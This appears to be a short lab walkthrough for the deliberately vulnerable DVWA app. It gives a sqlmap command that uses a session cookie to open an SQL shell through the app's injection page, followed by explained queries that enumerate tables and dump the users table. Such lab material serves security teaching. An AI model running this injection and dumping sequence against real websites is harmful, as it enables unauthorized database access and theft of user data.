sqlmap -u 'http://127.8.0.1/vulnerabilities/sqli/?
id=1&Submit=Submit#' --
cookie='PHPSESSID=qhj2pmck3k9gnmbn5ahvg80ok7; security=low' --sql-shell -
-batch
After gaining access:
Command:
sql-shell> database();
Explanation: Displays the name of the current database in use.
Command:
sql-shell> SELECT table_name FROM information_schema.tables WHERE
table_schema = 'dvwa';
Explanation: Lists all table names within the dvwa database.
Command:
sql-shell> SELECT * FROM dvwa.users;
Explanation: Retrieves all rows and columns from the users table in the
dvwa database.
Command:
sql-shell> SELECT * FROM dvwa.guestbook;
Explanation: Retrieves all rows and columns from the guestbook table in
the dvwa database.
Command:
sql-shell> SELECT COUNT(*) FROM dvwa.users;
Explanation: Counts the total number of records in the users table.
Command:
sql-shell> SELECT * FROM dvwa.users LIMIT 5;
Explanation: Retrieves the first 5 records from the users table.
Command:
sql-shell> SELECT COUNT(*), first_name FROM dvwa.users GROUP BY
first_name;
Explanation: Groups user records by first_name and displays the count of
each group.
Command:
sql-shell> SELECT column_name, data_type FROM information_schema.columns
WHERE table_name = 'users';
Explanation: Lists the column names and their data types from the users
table.